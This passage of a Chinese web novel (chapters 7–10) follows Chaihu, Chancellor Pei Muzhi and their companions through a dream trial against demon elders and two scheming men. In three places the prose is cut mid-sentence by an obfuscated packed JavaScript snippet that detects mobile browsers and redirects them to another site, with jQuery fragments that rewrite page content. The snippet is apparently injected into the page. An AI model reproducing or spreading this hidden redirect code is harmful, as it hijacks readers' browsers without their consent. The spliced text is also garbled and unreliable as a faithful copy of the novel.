方明纵然不懂柴胡的想法,可听得出她在暗讽,脸色越发难看,“我好心好意奉劝你们,你们不领情也就算了,还恶言恶语。怪不得你们几个人凑在一起玩家家酒,也闯不过这关。” “你不是也还在吗?”五十步笑百步。 恼羞成怒的方明并不会给四人带来影响,柴胡只是轻飘飘一句,就让方明破大防。 “你!你有什么了不起的!有种你现在就闯关来看看!” 柴胡已经拿起裴慕栀搅拌好的药水,这话一出,裴慕栀反倒压住了柴胡的手腕,终于正眼看方明。 “不知方公子有何良策?” 方明一听,宛如斗赢的雄鸡,气昂昂炫耀般:“没成想丞相大人也会有向他人求助的一天。” 柴胡恍然大悟,问裴慕栀:“你政敌?” 裴慕栀微笑道:“相识大人家的小辈。” 不知哪个词又深深刺痛了方明,惹得他双眼通红,异常愤怒,接着猝不及防开始摔桌,打破原本就破破烂烂的碗碟。 柴胡眼疾手快,把药水救下了。一抬头,就看到裴慕栀挡在她面前,露出不宽也不薄的后背。 仇不眠是闪身将胡喻护在身后,冷眼旁观方明打砸着所剩无几的桌椅板凳,他嘴里还喃喃自语。 “该死的小辈,什么小辈,明明我们年纪一样,凭什么你是高高在上的丞相,我只是不入流的小辈。去死去死去死,裴慕栀给我去死!!!”方明狠狠地把板凳踩断,碾压着断裂的木条直至粉碎。 等拆的差不多,他的双眼终于注意到防备他的四人。 “你们看什么?敢用这种眼神看我?!你们是想死吗?!” “为什么不回答我,胆敢无视我?!我要你们尝尝我的厉害!” 胡喻瞠目结舌,“他有病吧,一个人在那里演独角戏也就算了,态度转变怎么那么奇怪。” “说谁有病?!”方明触及到这个词,浑身颤抖,下一刻朝胡喻扑来。 仇不眠抬脚直接将人踹了出去,刚好把人从窗口踹出去了,留下一大个破洞。 胡喻悄悄地凑过去,探头一看。 方明被踹到外头的小沟里,头颅砸到石头,昏迷不醒。 胡喻刚松一口气,吱呀一声,竟是老叟从屋里出来。 他看到地上的一片狼藉,以及漏风的大窗,脸色铁青,下一刻指着胡喻大骂。 “你个丧门玩意儿,我就知道你晦气,只会生女儿,做事还做不好,骂你几句你就伺机报复,毁了我家!不止带坏我的乖儿,让他不孝顺,如今还把衰气带来,是不是想害死我?” “像你这种女人,你就不该活着!赶紧去死,好叫我儿娶个好媳妇,给我生个乖孙子!” “你个死老头,我忍你很久了!!!” 打断老叟骂人的不是受害者胡喻,而是高举着药水的柴胡。 只见柴胡往前奔跑,手里紧扣的碗快狠准地砸向老叟,药水顺着轨迹泼在老叟的全身。 老叟不由发出哎哟一声,捂住双眼。 可柴胡等了许久,都没有出现往常妖怪化为脓水的场景出现。 当老叟的手彻底挪开时,代替眼白部分的则是混黑的雾气。 老叟枯瘦的指尖颤抖指向柴胡,沙哑狂怒的声音响彻幽黑的房屋,仅剩的烛火随之熄灭。 耳畔边只有那一句话。 “你们,不孝顺!不孝顺的孩子,该死!” 7. 想点燃氧气瓶的第二天 黑暗中,柴胡屏住了呼吸,试图判断老叟下一步攻击。 微弱的心脏声逐渐放大,连众人的喘息也开始充斥整个空间,交错紊乱。 下一刻柴胡忽然被人扯住了手臂,让她下意识往后退了一步,与此同时冷风划破的声音在柴胡原本站的位置响起,扑面而来的凛冽微微刺痛柴胡的鼻梁。 手臂上传来的余热令柴胡感到陌生,未等柴胡出声,抓住她手臂的人已经开口。 “死老头,进棺材的年纪了还不安生。” 抓住柴胡的手随着话语消失,朦胧中柴胡看到胡喻一脚踹飞了一个物体。 此时,仇不眠举着点燃的烛火,宛如神明般降临照耀大地,赐予众人看清四周的光芒。 柴胡这才看见胡喻揪着老叟破烂的衣衫,一拳一拳地打在老叟松弛的面皮,边打边嘟囔。 “奇怪,怎么那么容易,刚刚不是很嚣张的吗?我还以为很难打,没想到这么弱。” 听到这,柴胡心头一松。 仇不眠已经用身上存留的火折子点亮房屋,裴慕栀打量了哀嚎叫唤的老叟半晌,走到柴胡身边细声道:“我还以为柴姑娘骗了我,神器竟然会不起作用。不过现在看来,只是作用慢了些。” 裴慕栀嘴里说着,眼神是紧盯柴胡,不错过她一点一滴的表情变化。 柴胡冷脸也不是盖的,面无表情道:“我如果骗了你,就不会怂恿你用神器。” 裴慕栀点点头,他确实想到这层,毕竟人心隔肚皮,想是一回事,不妨碍他试探一下。 “虽然你不曾欺骗,”裴慕栀望向把人揍得差不多的胡喻,看他接过仇不眠递去的手帕擦汗,继续道:“可你也没料到神器在失效吧。” “不,你应该是料准了,所以才会与我做交易。”裴慕栀前脚刚说完,后脚就推翻自己的猜测。 “柴姑娘,尽管你有心算计我,只要你一日仍是我大齐子民,我都会尽心尽力地救你,因此我不会与你计较的,你放心。”裴慕栀说着,勾起一个温文尔雅善解人意的微笑。 柴胡:“……”其实她没有,但无论怎么说,这小子都自顾自把话讲完了,她还能说什么。 胡喻擦完脸,看柴胡与裴慕栀之间气氛好像不太对,挠挠头。 “我是不是不该揍他?”胡喻指着瘫在地上生死不明的老叟。 “其实我没想要对他动手,以往我们闯关都不会对这些妖怪动手动脚的。只是大腿你……柴姑娘您特别生猛,激怒了这妖怪,怕是不能善了,我也只好动手了。”胡喻努力解释着,唯恐自己的行为影响闯关。 唇枪舌战的两人没有搭理胡喻,而仇不眠留意到老叟的躯体部分位置渐渐冒起白烟,一些黄色脓水从他四肢渗出。 “这是什么?” 其余三人顺势望去,老叟冒白烟的部分越来越多,很快整具枯瘦的躯壳化成一滩脓液。 “时效性有点长。”裴慕栀点评道。 胡喻不解:“什么时效性?” 对于这个问题,裴慕栀只是给了一个神秘微笑。 “如今怎么办?”仇不眠问道。 “没有线索,难道就这样杀过去?我也不是不可以。” 仇不眠后半句的语气有些冰冷,胡喻是见怪不怪,裴慕栀则是唇角稍稍弯下。 “这里可不是你的主场。” 仇不眠听出裴慕栀的敌意,与他四目相对,幽黑的眼神里慢慢凝结杀意。 啪的一声,胡喻双掌合十,语气拔高道:“我们先出去瞧瞧吧,刚才方明不是说其他人同样遇到同一个问题,我们去看看别人,之后再做打算。” 仇不眠收回眼神,裴慕栀错开视线,却对上柴胡若有所思的神色。 “你们之前是认识的。”柴胡肯定地说道。 裴慕栀轻笑一下,“这废镇绝大多数人,我都认识。唯有你,是我不曾听闻过,却存在感十足的。” 心知自己来路的柴胡语塞了一下,装作听不懂的模样,快步跟随胡喻出去。 甚至扯开话题,与胡喻攀谈:“方才你是怎么知道那死老头要袭击我的?” 明明屋子在仇不眠点燃蜡烛前,伸手不见五指的。 胡喻正与仇不眠说说笑笑,正确来说,只有胡喻一个人在说说笑笑,仇不眠是冷着脸旁听,不过仇不眠的面容尽毁,有没有表情出现都很难说。 听到柴胡的疑惑,胡喻脚步顿了一下,而后继续踏出房屋,重新见到外头的光明,阔然开朗状。 “我耳朵比较灵敏,在黑暗之中,经常靠它听声辩位。” 柴胡稍稍仰头,看胡喻笑嘻嘻没心没肺的样子,心下了然,“原来是这样。” “柴姑娘都能有那么大的本事,我这种是登不上台面,就连仇大哥也是身手极好。”胡喻说着,眼神有些黯淡,下一瞬又打起精神。 “但我能帮到您,是我最高兴的事!” 仇不眠在前头走着,寻找其他人的踪迹。 胡喻与柴胡并排走着,柴胡一听胡喻满嘴您您您,浑身不习惯。 “不需要对我这么客气。” 胡喻顿时抗拒,“那可不行,您毕竟身怀神器,是传说中被神仙选中的人,加上您与丞相大人的关系,我可不能造次。” 胡喻声音极小,内容却是在柴胡心中炸出轰天大雷。 柴胡抹了一把脸,无语道:“且不说被神仙选中这种荒唐事,我跟裴慕栀怎么就有关系了?” 槽点太多,一时之间不知道往哪里解释。 胡喻一副我懂我都懂,“有些事情心照不宣,只可意会,我是知道规矩的。” 柴胡:“……不,你不知道。” “你们在聊什么?” “找到了。” 裴慕栀适时地凑上来,刚好与仇不眠的话重叠。 仇不眠站在一间大门大开的房屋门前,淡淡道:“里头的人说,他们知道闯关的条件。” 所幸第二间屋子没有柴胡之前待的那么暗,但只是亮了一点,又格外的安静与逼挤。 只因加上柴胡四人,一共有十人站在狭小的天井下,抬头往天,是充满压迫感的方形,仿佛天空就只有这般大小,四四方方,一寸天堂。 “小人孔如令,见过丞相大人。”三十多岁出头儒雅的书生朝裴慕栀作揖,跟随他的其余人像模像样做了同样的动作。 裴慕栀看了他几眼,“礼部尚书的关门弟子?” 孔如令受宠若惊:“大人能记得,实属小人福分。” “说说重点,你们知晓闯关条件?”纵使裴慕栀是笑着的,可给人的感觉如冰窖般寒凉。 孔如令垂头,“正是,容许小人细细道来。” 据孔如令所言,他们几人一进村落就遇到一位老妪,老妪带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103178|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们进屋后,提出了不少要求。他们一一完成后,老妪便将闯关条件告诉了他们。 过程听上去很简单,可柴胡非常在意她一进门就见到的场景。 六个人里,有两名女子,她们瑟瑟发抖地抱成一团,起初柴胡以为是天井寒冷,她进屋时都能感受到逼人的凉意,忍不住打了个哆嗦。 直到天井那微微的光洒落到她们身上,拳头大重叠的淤青印破坏了姣好的面容,衣衫破碎,撕扯的布条垂落在她们的脚边亦无暇自顾。 “他们称此地为老人村,村里只有老人,没有任何的青壮,而我们只需要满足三位不同老人的要求,即可离开。”孔如令毕恭毕敬道。 胡喻皱起眉头,不可思议:“就这么简单?” 孔如令抬头瞥了他一眼,上下打量,眼底浮现几分轻蔑:“确实这么简单,可你竟然需要我来告诉你条件,可见你第一位老人提出的要求都没能完成,对于你们来说,怕是难于登天,也别想离开了。” 胡喻撇撇嘴,心道那死老头都被他们揍死了,还提什么条件。可他不能说这些,引起别人注意柴胡。 于是痛击对方的弱点,“你尊敬的丞相大人同样需要你来说明条件。” 孔如令挑挑眉,脸上挂着适度的谄媚:“丞相大人必有他独特的见解,我等小人岂能参透。” “你们遇到的老人,对你们提出了什么要求?”这时的柴胡开口询问。 孔如令悄然看了看裴慕栀的神色,见裴慕栀的眼神一直注视着柴胡,不敢多言,直接回答柴胡的问题。 “无非就是要求我们要孝顺,给她生个孙子继承香火,可我们没有时间。你也知道我们入梦时间越长,我们的躯体会越虚弱,生儿育女需怀胎十月,怎能完成她的要求。”孔如令嘲笑般说着。 “幸好老妪的孝顺不止一个要求,她见不得女子上桌,见不得女子散漫,不做粗活,为了讨她欢心,我们就让我们之中的妇人去老实听从,很简单不是?” 孔如令见柴胡直勾勾盯着他们之中的两名女子,转念一想解释道:“那老妪真是活久了的老妖怪,见不得年轻貌美的女子,有时对她们拳打脚踢。也多亏两位明事理,多番忍让,才叫我等完成老妪的要求。” 说着,孔如令朝两名女子作揖道谢。 两名女子吓得连连倒退,蜷缩在房屋墙角,脚尖绷直,仿佛前面有洪水猛兽。 孔如令不予理会,凝望裴慕栀的双眼充满灼热:“那老妪消失前给予我等下一位老人的行踪,丞相大人不如与我等同行?” 自始至终一言不发的裴慕栀回头望向柴胡三人。 胡喻率先表态:“我没有意见。” 仇不眠不说话,裴慕栀都能知道他的意思,至于柴胡…… “可以。”柴胡吐出两个字,同时垂眸遮盖住眼底充斥的杀意。 得到三人的同意,裴慕栀欣然笑纳孔如令的提议,孔如令欣喜若狂,遮盖不住高兴,让其他跟随他的人架住两名不停颤抖的女子,抬步在前引路。 柴胡看着孔如令意气风发的背影,冷冷地问道:“不知在裴丞相眼里,他可是需要保护的大齐子民?” 裴慕栀心知肚明柴胡的意思,没有正面回答,神情闪过几分复杂:“他是礼部尚书的人。” 柴胡扯出一抹嘲笑,“在废镇,只有被放逐的人。” 生死不论。 8. 权谋大剧秒变悬疑恐怖 胡喻原本在前头走着,不知想到什么,刻意控制脚步与柴胡并肩。 他左瞧右看,路上多出好一些人,遥遥地警惕着他们,有一两个好奇他们前进的方向,慢悠悠地走在他们最后面。 胡喻低声说道:“我不喜欢那小子,方明都比他好。”虽然方明会突然发疯,但他至少是明着来的,孔如令一看就是卑鄙小人,暗箭伤人。 柴胡目不斜视:“你不如去把方明找来,让他们狗咬狗?” 整个村子巴掌大,来来回回也都是外表一模一样的青砖砌房屋,也不知道当初建造时是怎么想的,毫无辨识度。灰暗暗的,给人一种死寂般感觉。 孔如令的兴高采烈在这种凝滞的氛围下,倒是格外的出彩,一眼就让人知道他是这批闯关者的领头人,手握闯关的重要信息。因此吸引了更多人出现在青石路上,可见到裴慕栀的瞬间,又不敢上前搭话。 胡喻被那些人迫切的眼神盯着,分外难受,更不敢妄动,叫人抓到把柄,害了其他人。 “还是算了,一看方明就是祸害,两个祸害在一起,搞不好把整个村子拆了,他们哪有您的本事,拆了村子后通不了关,赔了夫人又折兵的。”胡喻琢磨着。 他进废镇的时日算早,从未见过有人像柴胡这样强硬面对妖怪的,起初他听到传闻还以为是天方夜谭,直到他碰上柴胡,见识了她粗暴的手段,偏偏还见效。 可谓是前无古人,后无来者,无人能仿。 “但你的期望落空了。”柴胡平淡地说道。 “啊?”胡喻迷茫地抬头,顺着柴胡的视线看去,却是见到前不久被仇不眠一脚踹出去的方明,咬牙切齿地站在路的前方。 而孔如令竟是哥俩好一般,与他勾肩搭背,热聊起来。 胡喻沉默片刻,“这两个祸害,原来是朋友啊。”果然蛇鼠一窝。 方明一看到裴慕栀,就想发作,被眼疾手快的孔如令按了下来。 “裴大人,您不介意我们多一位好友相助吧?”孔如令虽是询问,但语气十分强硬。 裴慕栀从头到尾微笑着,“其实我介意。” 孔如令不曾想会被拒绝,不由一愣。 又听到裴慕栀补充道:“但都是为了闯关,帮手能多一个,自是好的。” 柴胡不管孔如令放松的神情,低头快速地瞥了一眼裴慕栀的手,他藏在衣袍下的拳头攥紧,青筋凸现的手背强调着他内心的不平静。微颤淡紫的指尖因强劲力度褪色发白,使得柴胡分不清裴慕栀的想法,只好更加留心裴慕栀的状况。 孔如令不知与方明说了些什么,方明浮现的阴鸷压回去几分。两人走到一处红木建造的飞檐房屋前,停了下来。 在到处都是青砖砌的房屋中,唯有这处的屋子与众不同,通红的颜色随着岁月的侵蚀暗沉发黑,宛如鲜血凝固上方,密实堆积。 孔如令进去前,不忘询问裴慕栀:“这里便是第二位老人居住的地方,裴大人若不介怀,不如就让小人来替大人打头阵,大人只需坐等成果。” 得到裴慕栀首肯后,孔如令如获至宝,趾高气昂地迈过门槛。 胡喻低声暗骂:“怎么不摔死这些臭傻子。” 本是一句戏言,柴胡却听了进去,“废镇里,有傻子吗?” “前面的不就是。”胡喻还认为柴胡是与他一起骂人。 “我指的是脑部有损,天生痴傻的。” 明白柴胡意思的胡喻抓耳挠腮,回忆许久,是仇不眠回答了这个问题。 “曾经有,都死了。” “为什么?”胡喻下意识脱口而出问道。 仇不眠宛如看傻子一样看着胡喻,“你觉得傻子能够完成引路人提出的任务吗?就算侥幸完成,在废镇其他正常人眼里,终究只算是个垫脚石,是他们试错的机会。” “这个问题,不应该存在。”因为想想就知道,裴慕栀难以理解柴胡问这种问题的意义,想多问几句,张开了口翕动几下,又憋了回去。 “你们不进去吗?”跟随孔如令的人瞧见柴胡等人迟迟未进,怯生生地催促道。 总的来说,怕的也就那么一个人。在其余平民百姓面前,可没有装作那么纯良。 柴胡迈步进去时,一眼就看见孔如令带着令人作呕的笑容与坐在中堂之上的老妪搭话。 她不由侧头看了一眼裴慕栀,同样是微笑,怎么有些人油腻丑陋,有些人明明是假笑都能笑得清爽温柔。 “祖母,您想要我们这些孙辈替您做什么,您尽管开口,我们一定替您完成。”孙如令掐着嗓子,柔声道。 看上去九十岁,头发发白牙齿掉光的老妪,面皮耷拉地比柴胡遇到的第一个老叟有过之而无不及。她两眼无神,微张着嘴,瘦削不像人形的蜷缩在凳子上,丝毫不理会孙如令在说些什么。 孙如令耐着性子继续说上几句重复的话,柴胡已经感受到他隐约散发的不耐烦。 “祖母,您是不是觉得烦闷,想看戏了?我给您排一出戏如何?” 孙如令说着,眼神示意其他人将两名女子架出来,一放手,两名女子立刻瘫软跪在地上,抖动地比之前还厉害。 柴胡意识到孙如令的打算,冷声呵斥:“你这是在做什么?她什么都没说,你就擅自行事?” 孙如令颇感好笑,看柴胡的眼神就像在看不懂事的孙辈,“我可是得到了前一位老人的提示,自然做的都是对的,你何须质疑?” “那你又何必问她有什么要求?你根本就不知道她的任务要求是什么,根本就是你胡乱攀扯!”胡喻帮着柴胡呛声。 孙如令眼里闪过一丝阴狠,很快又恢复如初,儒雅书生的清幽淡雅,循循善诱道:“裴大人既然将此事交由我负责,自是信任我的办事能力,难道你们在质疑裴大人的目光?” 这一招挑拨离间,若是放在平时,裴慕栀与其下属之间或许有用,但柴胡天不怕地不怕,更别说根本不是大齐的子民,管你什么丞相不丞相的,直接将天捅破了都有可能。 只听柴胡冷哼一声,厉声道:“你要耍官场斗争,这里可不是你的戏台。废镇没什么多,死尸最多,你说礼部尚书会不会进废镇,护住你这个被遗弃的尸体?” 柴胡每每听到这些傻缺大谈官场官职,就想发笑。哪怕死到临头,仍然不忘权力斗争,贪恋那些死后不曾带去的垃圾,就算见到阎王爷,都会拿出一大叠冥币贿赂。这样的人,偏偏是人。 不管柴胡此番的威胁是否成真,至少现今叫孔如令脸色变得七彩,十分难看。 “你要拦我?那你说说,你有什么好法子,可以撬开这老妪的嘴?”孔如令嘲讽道。 一旁的方明双手环胸翘起,一副看好戏的样子。余下旁人面面相觑,不敢冒头,往后挪了一挪。 红木房屋不像先前的青砖那般晦暗,日光穿透木缝小孔,照在屋子里头,显得堂内红彤彤一片,光影斑驳,配上柴胡与孔如令交锋,诡异的喜庆又窒息。 柴胡确实可以在这里一下把老妪弄死,但人太多,尤其是孔如令和方明,根本就不像是会保守秘密的。 权衡利弊之下,柴胡决定离开,按照以往的做法,一个人搞垮全部。本来与他人做伴这件事,她就不会做,若说是长漠或者小尚还能并肩作战,但与裴慕栀携手,半点作用都没有。 孔如令见柴胡一声不响扭头就走,勾起得意洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仇不眠不语,看着老妪慢条斯理将孔如令的喉结吞咽下去,满心戒备她下一步动作。 但出乎意料的是,老妪吞咽了喉结后,无神的双眼开始有了亮光,缓缓地扫视一圈后,努力挤出一抹和蔼的笑容,前提是忽略她嘴角未擦拭的血迹和零星皮肉。 她的嗓音如破败的旧琴弦,与旁边破了喉咙赫赫地叫唤,朝裴慕栀半伸着手的孔如令如出一辙。 “好多人啊,我终于见到我的乖孙们,真是太幸福了。我的乖孙们,这次一定,一定要和我一起生活下去。”老妪向方明所在的方向,抬起她骨瘦如柴的手,所意尽在其中。 方明惶恐地摇头,仓皇扭头撒腿就跑。 然而他的腿迈不出去,尽管他很努力抬腿想跑,可他的腿就是踏不出去。低头时,清晰见到,红木折出的光照映在他的双腿,一条条的,仿佛是有自我意识的绳条束缚住他一般。 其他人亦然,早就趴在地上,苦苦往外爬,爬半天都爬不出去。 胡喻缩到柴胡耳边,“我要去给你找水源吗?早知道我就把刚才的药水顺过来了。” 老叟袭击柴胡的时候,柴胡看不清四周没留心,他猝不及防一扯,就把柴胡手里仅剩的药水洒没了。 柴胡看到方明等人的情形,心知走是走不出去的,思索着是不是真的得用胡喻的唾沫冲泡小柴胡颗粒这种恶心法子的时候,砰地一声,叫她回过神,也吸引了众人的注意。 原来是裴慕栀悄然无息地倒在地上,上半身跌落在腐朽的木凳,木凳经过重量压制,粉碎了半截,徒留半截勉强支撑着裴慕栀。 他捂住左胸口,齿贝紧咬着下嘴唇,微笑早已卸去,白皙的面容扭成一团,如遭受百般痛苦,手背因用力而显现的青筋好似要破皮而出。 胡喻都愣住了,前有妖怪,后有同伴遭殃。 “他,他怎么了?” 柴胡垂眸,看着裴慕栀那副模样,淡淡道:“你果然犯病了。” 先前嘴碎的要命,突然变得格外安静,不是重要抉择,他都不肯吭声。 “挺能抗的。” 9. 爱我,就留下来 柴胡望了一下似乎出于某种原因而停止动作的老妪,她只是面带瘆人的微笑,静静地坐在原位注视他们。 胡喻悄声说道:“现在怎么办?” 仇不眠不语,警惕着他面前的敌人。 柴胡则是从怀里掏出一个小葫芦,边掐碎边吩咐胡喻把裴慕栀扶起来,“张开他的嘴。” 胡喻老实服从命令。 见葫芦里的药丸抵进裴慕栀的唇舌,没多久,裴慕栀的痛苦肉眼可见消失了。 胡喻一愣,“神器还有这种功效?” 方才为了方便,柴胡是蹲下了身子,完成她要做的事情后,缓慢起身平复一下脑子轻微的嗡嗡鸣叫声,胡喻的呢喃也稍稍穿透进到了柴胡的脑中。 柴胡抿抿唇,说道:“那不是神器。” “所以是什么?”胡喻还想接着问,可柴胡并不想多做解释。 “照看好他。” 抛下一句,柴胡向前跨步,靠近了老妪。 仇不眠握住刀柄的手紧了几分,余光放在了柴胡的身上。 无视地面上恐惧的人,柴胡径直站在老妪面前。 老妪微笑的弧度更深了,“我的乖孙来看我了,真乖。” 乖孙·柴胡反而居高临下,“你想要的是什么?” 老妪泛白的眼珠转到地上哭泣的人,笑意十足,仿佛隔壁家慈祥老奶奶般,“留下来,跟我一起生活。” “我拒绝。” 柴胡面色不改,毫不留情的话令后面的胡喻惨白了脸,扶住裴慕栀肩膀的手掐进了他的肉里,使他吃痛,缓缓张开双眼。 “你想死吗?”被柴胡拒绝的老妪,说话更直白。 “是你想死吧。”柴胡直接反呛,“任务要求只是让我们常回家看看,并未指明我们多做什么事情,这也代表我们根本不需要实现你提出的要求。” 闻言,老妪的脸色更黑了,看柴胡的眼神非常不善。 “你在胡说什么!”老妪并未开口,率先反驳柴胡的是惶恐之中的方明。 “你不要再乱说话得罪她了!” 方明压抑不住的声嘶力竭,柴胡是半点不在意。 她垂眸看一动不动的老妪,头一歪无辜状:“我难道说错了吗?” “你当然说错了,你个没用的臭呜呜呜……” 方明未尽的话淹没在了仇不眠的大手下,他看到屋子的红光打在仇不眠骇人刀疤脸,狰狞又可怖,加上仇不眠看他的眼神如看死人一样,吓得他不禁湿润了□□。 后面的一举一动没有影响柴胡与老妪。 老妪枯瘦的手指尖狠抓一把膝上的布料,尖锐的黑指甲戳穿了几个洞,她恶狠狠看柴胡的模样,仿佛想在柴胡躯壳上同样戳上几个。 柴胡挑挑眉,“无能狂怒啊,看在你帮我解决了旁边这个贱人的份上,我不为难你,也不会羞辱你,你还是赶紧交代我接下来应该去哪里,不然你会死得很惨。” 旁边大量失血奄奄一息的贱人·孔如令:“……” “……留下来。”老妪微张的嘴巴吐露一模一样的话,“给我留下来。” “为什么?”柴胡问道。 胡喻没发现裴慕栀睁开了眼,无比安静地注视柴胡,他只是撇撇嘴,小声回答柴胡的问题:“还能为什么,当然是想吃了我们。” 妖怪吃人是不变的定理,这梦里出现的妖怪要么光明正大,要么隐晦地吃掉他们这些人,否则他们怎会惧怕这些外表与他们无异的人,又怎会称呼他们为妖怪。 可老妪的回答,却出乎他们意料:“外面,很危险。只有在这里,你们才能得到自由。” 柴胡笑了笑,“我在这,才是最大的不自由。” 一直瘆人的老妪此刻的神色有那么几分复杂,“你不懂,你不懂……” 这般说着,方明忽然大声尖叫起来,身体不断挣扎,仇不眠刚想强压住他,又感受到压住的方明浑身颤抖:“我的手,我的手怎么变成这样!” 仇不眠低头一看,发现方明那双应该属于年轻人的手,逐渐被黄沙覆盖,方明另一只手拍掉黄沙的瞬间,曾被黄沙盖过的部分竟如放置许多天的橘子,表皮皱缩干瘪,饱满的光泽渐渐暗沉发黑,令人联想到枯萎掉落的树枝。 仇不眠忍不住放开了他,没有仇不眠的阻挡,黄沙终于找到了突破口,密密麻麻地侵蚀方明完好无损的地方。 有同等待遇的,是一旁吓傻了的同行三名男子。 胡喻瞧见了,瑟缩几分,一动作就牵动了扶住的裴慕栀,怕他不小心伤到,立马低头查看,不料对上黑黝黝的双眼。 颇感尴尬的胡喻干笑几下,“您,醒着呢。” “扶我起来。”裴慕栀懒得理他,刚刚病发浑身疼痛,可眼前的情况不能让他继续躺着安静观察了。 老妪看着陷入癫狂的几人,依然重复着:“留下来吧。” “我这个人,一向不喜欢说废话。更讨厌说重复的话。”柴胡回过神,认真地对老妪说。 看柴胡坚持的样子,老妪静默片刻,发出喟叹:“原来连你,也不愿意留下来陪我。” “我还以为,我们会有共同话题,能够有很长很长的时间,慢慢聊。” 听到这话,柴胡眼底闪过几分狠厉,“我没有时间了。” 老妪摇摇头,抬手轻轻抹走满嘴的鲜血,接着用沾满血的手一挥,柴胡等人像感受到猛烈的飓风,一下子就把她们卷走出门。 随着红木门砰地一声大力阖上,柴胡脱离翻江倒海的晕眩,一个侧头与坐在门边,笑吟吟看着她的绿衣少女撞上了视线。 “……我通关了?”柴胡发问。 绿衣少女一一扫过红木屋前的几人,微笑道:“不是,只是想来问问你们,玩得是否开心?” “你有病吧?”没忍住的胡喻劈头盖脸就是一顿骂:“我们这样叫玩得开心?有人死了你不知道?” 站在红木屋前的,仅仅只有柴胡四人以及原本应该是孔如令那伙人里的两名女子,不过她们受到了太多惊吓,无法出声,只能傻愣愣地瘫坐地上,任由泥土沾上双腿。 孔如令与方明,还有那几个男子没有出来,明眼人一看就是留在红木屋里当祭品了,不怪胡喻生气,换作是谁差点死掉,有人莫名其妙问你是否玩得开心,估计也会憋不住上前揍死那人。 但对方是整个梦境的引路人,伤了她与找死一样。 哪怕再生气,胡喻也只能骂骂对方,骂完还害怕对方生气,一抬手就消灭了他。 仇不眠已然习惯胡喻撂完狠话,躲在他身后的举动,见怪不怪,毫无反应。 柴胡不知绿衣少女打的什么主意,也不准备与对方继续纠缠,扭头就想走。 绿衣少女并不恼,她对柴胡似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103180|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有着极高的忍耐,看着柴胡冷漠的背影,只是惋惜:“我原以为你有问题问我,没成想是不敢问。” 柴胡脚步一顿,没有转过身,像在做内心挣扎。 此时,裴慕栀倒是上前。 “她不敢问,我能问吗?” 绿衣少女淡淡收回视线,转而投向巍峨的青山。 “你没有资格向我提问。” 裴慕栀不怕绿衣少女恼怒,继续追问道:“如何才能获得资格?” 绿衣少女想了想,无比真切道:“重新投胎。” 这般说着,她站起来,重新拎起搁置身边的灯笼,“没有问题问的话,我先走了。” 裴慕栀快速地走到柴胡跟前,低声说:“柴姑娘,如今只有你能发问。不管什么都好,你目前掌握着这场瘟疫的真相,事后我会向朝廷禀告,无论你想要什么,我们都会满足你。” “所以,我以大齐丞相的名义,恳请你帮帮我。” 他的目光很炽热,一改柴胡对他的印象。朝堂之上,仍有这般惦念着大齐将来的人,或许是大齐之福。 可她不是大齐人,不是大齐子民,更不属于这里。 “你们满足不了我想要的。”柴胡眉间的冰冷刺痛裴慕栀内心。 “但我可以帮你。” 峰回路转不外乎于此,裴慕栀顷刻间绽放的笑容,深深地印入了柴胡的心中。 如冬日的暖阳,又如盛夏的冰霜。 换作是寻常女子,怕是在那一刻一见倾心,然而对于柴胡来说,是艳羡与嫉妒交杂掺合咽下的毒药,锥心刺骨。 柴胡强忍着对裴慕栀的怒意,抬眸时眼眸平静无波。 她对绿衣少女说:“我想知道这场瘟疫的真相,从头到尾。包括让它消失的办法。” 绿衣少女原本是要离开的,见到裴慕栀与柴胡间的互动似乎很有趣的样子,便留下来看着。 “唔……这可怎么办呢?”绿衣少女装作苦恼样子,“你没有资格问这种问题欸。” “那什么时候有……” “等到你的桃花印收集到六枚的时候,就有资格知道这些事情了,毕竟游戏这么快揭开结果,是不好玩的。”绿衣少女直接打断了柴胡的追问。 其他人一听,纷纷皱眉。尤其是裴慕栀,神情非常不好,因为他深知现在的柴胡,仅仅拥有一枚半的桃花章印。 柴胡能做的不多,状况是进入了死胡同,看裴慕栀久久不散开的眉头,柴胡想了想,提出另一问。 “你叫什么名字?” 绿衣少女没料到柴胡会有此一问,眼底闪过几分喜悦,周身散发着与往常不同的活泼。 “我叫梦姑。” 一个花季少女取了个姑字,让柴胡心中有些别扭,不过看绿衣少女的模样,应该是非常喜欢这个名字。 “我叫柴胡。”柴胡礼尚往来。 梦姑点点头,“我知道你叫什么。” 她转头看向胡喻与仇不眠,“这里的人,我都认识。从很久很久之前,我就知道了。” “这是何意?”裴慕栀开声问道。 梦姑立刻垮下了脸,“你没有资格提问。” 柴胡眼神飘忽,不去看裴慕栀:“你真的很不受欢迎,你在梦里是犯罪了吗?”那么讨人嫌。 在现实里无论去到哪都饱受追捧的裴慕栀:“……” 10. 做妖也会有梦想 柴胡干咳一声,讲回正题:“听说要经历三个老人才能离开,这件事是真是假?” 梦姑点点头,就没有任何举动了。 这番姿态摆明了有问必答,但不问就不答。 柴胡在裴慕栀“炙热”的眼神下,硬着头皮继续问:“剩下那人在哪?” 梦姑回望柴胡半晌,“本来我是不应该告诉你的,既然我都来了,那就大发慈悲给你指条路。” 